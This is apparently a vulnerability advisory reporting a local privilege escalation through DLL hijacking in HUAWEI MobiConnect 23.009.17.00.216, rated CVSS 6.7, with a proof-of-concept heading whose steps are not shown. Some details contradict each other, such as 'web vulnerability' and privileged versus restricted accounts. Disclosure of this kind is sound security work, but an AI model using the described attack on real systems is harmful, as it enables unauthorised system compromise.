================================  
A local privilege escalation vulnerability has been discovered in the official HUAWEI MobiConnect 23.009.17.00.216 software.  
The local security vulnerability allows an attackers to gain higher access privileges by execution of arbitrary codes in connection with dll hijacking.  
  
The security risk of the local privilege escalation vulnerability is estimated as high with a cvss (common vulnerability scoring system)   
count of 6.7. Exploitation of the vulnerability requires a local privileged systen user account without user for interaction.   
Successful exploitation of the privilege escalation web vulnerability results in software- or system compromise.  
  
  
Proof of Concept (PoC):  
=======================  
The local vulnerability can be exploited by local attackers with restricted system privileges and without user interaction.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
